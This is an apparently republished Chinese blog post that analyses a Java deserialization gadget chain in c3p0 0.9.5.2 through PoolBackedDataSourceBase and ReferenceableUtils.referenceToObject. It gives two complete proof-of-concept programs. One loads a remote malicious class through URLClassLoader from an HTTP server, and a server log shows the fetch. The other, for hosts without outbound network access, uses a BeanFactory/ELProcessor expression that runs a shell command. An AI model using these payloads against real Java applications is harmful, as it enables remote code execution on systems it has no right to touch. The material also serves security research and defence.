[Java反序列化]C3P0反序列化

Posted bfengj

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Java反序列化]C3P0反序列化相关的知识,希望对你有一定的参考价值。

[Java反序列化]C3P0反序列化

环境

        <dependency>
            <groupId>com.mchange</groupId>
            <artifactId>c3p0</artifactId>
            <version>0.9.5.2</version>
        </dependency>

什么是c3p0

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。c3p0是异步操作的,缓慢的JDBC操作通过帮助进程完成。扩展这些操作可以有效的提升性能。目前使用它的开源项目有hibernate,spring等。是一个成熟的、高并发的JDBC连接池库,用于缓存和重用PreparedStatements支持。c3p0具有自动回收空闲连接功能。

URLClassLoader

Gadget:

ReferenceableUtils->referenceToObject
ReferenceIndirector$ReferenceSerialized->getObject
PoolBackedDataSourceBase->readObject

首先看一下PoolBackedDataSourceBasewriteObject

	private void writeObject( ObjectOutputStream oos ) throws IOException
	
		oos.writeShort( VERSION );
		try
		
			//test serialize
			SerializableUtils.toByteArray(connectionPoolDataSource);
			oos.writeObject( connectionPoolDataSource );
		
		catch (NotSerializableException nse)
		
			com.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", nse);
			try
			
				Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();
				oos.writeObject( indirector.indirectForm( connectionPoolDataSource ) );
			
			catch (IOException indirectionIOException)
			 throw indirectionIOException; 
			catch (Exception indirectionOtherException)
			 throw new IOException("Problem indirectly serializing connectionPoolDataSource: " + indirectionOtherException.toString() ); 
		
		oos.writeObject( dataSourceName );
		try
		
			//test serialize
			SerializableUtils.toByteArray(extensions);
			oos.writeObject( extensions );
		
		catch (NotSerializableException nse)
		
			com.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", nse);
			try
			
				Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();
				oos.writeObject( indirector.indirectForm( extensions ) );
			
			catch (IOException indirectionIOException)
			 throw indirectionIOException; 
			catch (Exception indirectionOtherException)
			 throw new IOException("Problem indirectly serializing extensions: " + indirectionOtherException.toString() ); 
		
		oos.writeObject( factoryClassLocation );
		oos.writeObject( identityToken );
		oos.writeInt(numHelperThreads);
	

先把VERSION写入反序列化的数据中,然后再尝试反序列化connectionPoolDataSource属性。问题是,这个属性connectionPoolDataSource是ConnectionPoolDataSource类的,并不能反序列化,会抛出异常进入catch进行这样的处理:

				Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();
				oos.writeObject( indirector.indirectForm( connectionPoolDataSource ) );

先产生1个Reference对象,然后再将他作为ReferenceSerialized类的属性。

    public IndirectlySerialized indirectForm( Object orig ) throws Exception
     
	Reference ref = ((Referenceable) orig).getReference();
	return new ReferenceSerialized( ref, name, contextName, environmentProperties );
    

这个对象也将被写入反序列化的数据中,可以发现,这个对象我们唯一可控的就是ref属性,其他的name, contextName, environmentProperties都不可控。

再看看readObject:

	private void readObject( ObjectInputStream ois ) throws IOException, ClassNotFoundException
	
		short version = ois.readShort();
		switch (version)
		
			case VERSION:
				// we create an artificial scope so that we can use the name o for all indirectly serialized objects.
				
					Object o = ois.readObject();
					if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();
					this.connectionPoolDataSource = (ConnectionPoolDataSource) o;
				

if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();调用了getObject()

	public Object getObject() throws ClassNotFoundException, IOException
	
	    try
		
		    Context initialContext;
		    if ( env == null )
			initialContext = new InitialContext();
		    else
			initialContext = new InitialContext( env );

		    Context nameContext = null;
		    if ( contextName != null )
			nameContext = (Context) initialContext.lookup( contextName );

		    return ReferenceableUtils.referenceToObject( reference, name, nameContext, env ); 
		

那个lookup没法利用,因此contextName我们不可控。跟进referenceToObject

    public static Object referenceToObject( Reference ref, Name name, Context nameCtx, Hashtable env)
	throws NamingException
    
	try
	    
		String fClassName = ref.getFactoryClassName();
		String fClassLocation = ref.getFactoryClassLocation();

		ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader();
		if ( defaultClassLoader == null ) defaultClassLoader = ReferenceableUtils.class.getClassLoader();
		
		ClassLoader cl;
		if ( fClassLocation == null )
		    cl = defaultClassLoader;
		else
		    
			URL u = new URL( fClassLocation );
			cl = new URLClassLoader( new URL[]  u , defaultClassLoader );
		    
		
		Class fClass = Class.forName( fClassName, true, cl );
		ObjectFactory of = (ObjectFactory) fClass.newInstance();
		return of.getObjectInstance( ref, name, nameCtx, env );
	    

发现其实就是利用ref利用URLClassLoader来加载恶意类了,ref是我们可控的。

构造一波:

package com.summer.c3p0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.summer.util.SerializeUtil;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0 
    public static void main(String[] args) throws Exception
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        PoolSource poolSource = new PoolSource("Evil","http://127.0.0.1:39876/");
        Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSourceField.setAccessible(true);
        connectionPoolDataSourceField.set(poolBackedDataSourceBase,poolSource);
        byte[] bytes = SerializeUtil.serialize(poolBackedDataSourceBase);
        SerializeUtil.unserialize(bytes);
    

    private static class PoolSource implements ConnectionPoolDataSource, Referenceable 
        private String classFactory;
        private String classFactoryLocation;
        public PoolSource(String classFactory, String classFactoryLocation)
            this.classFactory = classFactory;
            this.classFactoryLocation = classFactoryLocation;
        
        @Override
        public Reference getReference() throws NamingException 
            return new Reference("feng",this.classFactory,this.classFactoryLocation);
        

        @Override
        public PooledConnection getPooledConnection() throws SQLException 
            return null;
        

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException 
            return null;
        

        @Override
        public PrintWriter getLogWriter() throws SQLException 
            return null;
        

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException 

        

        @Override
        public void setLoginTimeout(int seconds) throws SQLException 

        

        @Override
        public int getLoginTimeout() throws SQLException 
            return 0;
        

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException 
            return null;
        
    


C:\\Users\\15997\\Desktop>python -m http.server 39876
Serving HTTP on 0.0.0.0 port 39876 (http://0.0.0.0:39876/) ...
127.0.0.1 - - [01/Mar/2022 15:41:31] "GET /Evil.class HTTP/1.1" 200 -
127.0.0.1 - - [01/Mar/2022 15:41:41] code 404, message File not found
127.0.0.1 - - [01/Mar/2022 15:41:41] "GET /Evild.class HTTP/1.1" 404 -

正因为要用到URLClassLoader,所以不出网的条件下无法这样利用。

BeanFactory的不出网利用

如果环境不出网的话,就无法加载远程class。但是往下看:

		ClassLoader cl;
		if ( fClassLocation == null )
		    cl = defaultClassLoader;
		else
		    
			URL u = new URL( fClassLocation );
			cl = new URLClassLoader( new URL[]  u , defaultClassLoader );
		    
		
		Class fClass = Class.forName( fClassName, true, cl );
		ObjectFactory of = (ObjectFactory) fClass.newInstance();
		return of.getObjectInstance( ref, name, nameCtx, env );
	    

如果fClassLocation为null的话就是默认加载而不是远程加载,加载到对象之后会调用getObjectInstance这个方法。。这个方法我2个小时前学JNDI在高版本JDK的利用中刚学到。。。不多说了,直接构造了:

package com.summer.c3p0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.summer.util.SerializeUtil;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0 
    public static void main(String[] args) throws Exception
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        //PoolSource poolSource = new PoolSource("Evil","http://127.0.0.1:39876/");
        PoolSource poolSource = new PoolSource();

        Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSourceField.setAccessible(true);
        connectionPoolDataSourceField.set(poolBackedDataSourceBase,poolSource);
        byte[] bytes = SerializeUtil.serialize(poolBackedDataSourceBase);
        SerializeUtil.unserialize(bytes);

    

    private static class PoolSource implements ConnectionPoolDataSource, Referenceable 
        private String classFactory;
        private String classFactoryLocation;
        public PoolSource()
            this.classFactory = "BeanFactory";
            this.classFactoryLocation = null;
        
        public PoolSource(String classFactory, String classFactoryLocation)
            this.classFactory = classFactory;
            this.classFactoryLocation = classFactoryLocation;
        
        @Override
        public Reference getReference() throws NamingException 
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
            ref.add(new StringRefAddr("forceString", "feng=eval"));
            ref.add(new StringRefAddr("feng", "\\"\\".getClass().forName(\\"javax.script.ScriptEngineManager\\").newInstance().getEngineByName(\\"javascript\\").eval(\\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\\")"));
            return ref;
            //return new Reference("feng",this.classFactory,this.classFactoryLocation);
        

        @Override
        public PooledConnection getPooledConnection() throws SQLException 
            return null;
        

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException 
            return null;
        

        @Override
        public PrintWriter getLogWriter() throws SQLException 
            return null;
        

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException 

        

        @Override
        public void setLoginTimeout(int seconds) throws SQLException 

        

        @Override
        public int getLoginTimeout() throws SQLException 
            return 0;
        

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException 
            return null;
        
    


又一个有意思的方法需要记住了,getObjectInstance

以上是关于[Java反序列化]C3P0反序列化的主要内容,如果未能解决你的问题,请参考以下文章

[Java反序列化]C3P0反序列化

[Java安全]C3P0反序列化不出网利用学习

[Java安全]C3P0反序列化不出网利用学习

[Java安全]C3P0反序列化不出网利用学习

[Java安全]Java反序列化C3P0之利用URLClassLoader

[Java安全]Java反序列化C3P0之利用URLClassLoader